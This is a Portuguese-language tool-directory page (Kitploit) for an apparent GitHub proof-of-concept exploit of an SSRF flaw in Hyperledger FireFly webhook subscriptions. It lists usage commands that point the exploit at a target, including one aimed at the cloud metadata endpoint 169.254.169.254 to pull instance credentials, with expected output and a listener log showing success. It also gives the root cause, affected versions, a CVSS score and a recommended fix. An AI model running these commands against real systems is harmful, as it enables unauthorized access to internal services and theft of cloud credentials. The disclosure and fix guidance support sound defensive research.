Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-82957 — Prova de conceito de exploit para CVE-2026-82957, uma SSRF nas assinaturas de webhook do Hyperledger FireFly que força o nó a requisitar URLs internas ou de metadados da nuvem. | Kitploit
Ferramentas/GitHubGitHub/hakaioffsec/cve-2026-82957
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoSegurança na Nuvem
GitHubhakaioffsec/cve-2026-82957

CVE-2026-82957

Prova de conceito de exploit para CVE-2026-82957, uma SSRF nas assinaturas de webhook do Hyperledger FireFly que força o nó a requisitar URLs internas ou de metadados da nuvem.

Ver Repositório
1há 24 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

SSRF nas assinaturas de webhook do Hyperledger FireFly (CVE-2026-82957)

Um exploit de prova de conceito para CVE-2026-82957, uma Server-Side Request Forgery (CWE-918) no transporte de eventos webhooks do Hyperledger FireFly Core. Qualquer cliente que consiga criar uma assinatura de evento pode registrar um webhook cuja URL de destino nunca é validada — quando ocorre um evento correspondente, o próprio nó do FireFly emite a requisição HTTP. Apontá-la para endereços exclusivamente internos (metadados de nuvem, loopback, serviços RFC1918) transforma o nó em um confused deputy.

Requisitos

Apenas a biblioteca padrão do Python 3 — sem dependências.

$ python3 cve_2026_82957.py --help

Uso

Passo 1 — inicie um listener na máquina que o nó FireFly deve acessar (a vítima de SSRF):

$ python3 -m http.server 8000 --bind 0.0.0.0

Etapa 2 — execute o exploit. -t é a URL base da API do FireFly, -u é a URL que o nó será forçado a requisitar:

# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED

# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/

# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED

Para um nó FireFly em execução no Docker, <host-ip> é o gateway da rede bridge — encontre-o com docker network inspect <network> (campo IPAM.Config.Gateway, por exemplo 172.21.0.1).

Saída esperada:

[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.

Log do listener — o IP de origem é o IP do container do nó FireFly, não a máquina do atacante, provando que a requisição foi forjada pelo servidor. SSRF confirmado:

172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -

Versões Vulneráveis

  • Todas as versões com o transporte webhook, até e incluindo a v1.5.0
  • Introduzido no commit 215c69181 ("Base implementation of webhooks invocation", 2021-06-20)
  • Ainda presente em e3c9b8d89 (main) — nenhum commit entre os dois adiciona validação de host
  • Verificado ao vivo contra v1.4.0 e v1.5.0

Causa Raiz

Arquivo: internal/events/webhooks/webhooks.go

LinhaCódigoProblema
191url: options.GetString("url")destino obtido literalmente da entrada do usuário
266ValidateOptions(...)valida formato/headers/timeouts mas nunca o host
394req.r.Execute(req.method, req.url)a requisição é disparada

Não há allowlist/denylist no destino resolvido: nenhum bloqueio para endereços loopback, privados (RFC1918) ou link-local (169.254.0.0/16), e tanto o host quanto o esquema são totalmente controlados pelo atacante. O FireFly não inclui nenhum plugin de autenticação de API por padrão, portanto a criação de assinaturas pode ser não autenticada.

Endpoints Afetados

  • POST /api/v1/namespaces/{ns}/subscriptions — cria o webhook malicioso (retorna 201 Created para URLs internas)
  • Qualquer chamada de API que emita um evento correspondente ao filtro da assinatura (ex.: POST /api/v1/namespaces/{ns}/messages/broadcast) — dispara a requisição forjada

Impacto

CWE-918 Server-Side Request Forgery. Um atacante pode:

  • Alcançar serviços internos não expostos externamente (bancos de dados, painéis administrativos, containers sidecar)
  • Ler credenciais de nuvem a partir do endpoint de metadados da instância (169.254.169.254) → escalada para a conta de nuvem
  • SSRF de leitura completa: com "reply": true a resposta interna é retornada ao atacante como um evento do FireFly — não é cego
  • Escanear portas da rede interna por meio de diferenças de erro/tempo

CVSS

~8.5 Alta CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — a severidade depende de a API estar atrás de autenticação.

Correção

Em ValidateOptions, faça o parse da URL, resolva o host e rejeite endereços loopback/privados/link-local/não especificados; restrinja o esquema a http/https; revalide o IP resolvido no momento da conexão (via DialContext customizado) para derrotar DNS-rebinding; preferencialmente exponha uma allowlist configurável de hosts de webhook permitidos.

Aviso Legal

Esta ferramenta é destinada apenas a fins educacionais e de pesquisa. Use-a somente em sistemas que você possui ou para os quais tem permissão explícita de testar. O autor não é responsável por qualquer uso indevido ou dano causado por este programa.

QuimeraX Intelligence

A QuimeraX Intelligence é uma plataforma avançada de EASM e Cyber Threat Intelligence especializada em identificar vulnerabilidades críticas em sistemas complexos. A plataforma monitora, detecta e alerta proativamente os clientes sobre ameaças de segurança, garantindo transparência e resposta rápida a riscos potenciais. Os clientes recebem notificações imediatas e relatórios abrangentes caso seus sistemas sejam considerados vulneráveis, permitindo que tomem medidas de proteção. saiba mais

Hakai Security

A Hakai Security é uma empresa de cibersegurança fundada por profissionais de segurança, comprometida com a excelência técnica. Oferecemos soluções de segurança sob medida, incluindo testes de penetração avançados, simulações realistas de Red Team e práticas de desenvolvimento seguro para proteger proativamente os ativos de nossos clientes contra ameaças cibernéticas em evolução.

Hacking Club

O Hacking Club é a plataforma de treinamento onde você aprende cibersegurança por meio de lições práticas, laboratórios e desafios criados por especialistas que atuam em nossa consultoria de segurança: direto do campo de batalha para o seu treinamento.

Baixar ferramenta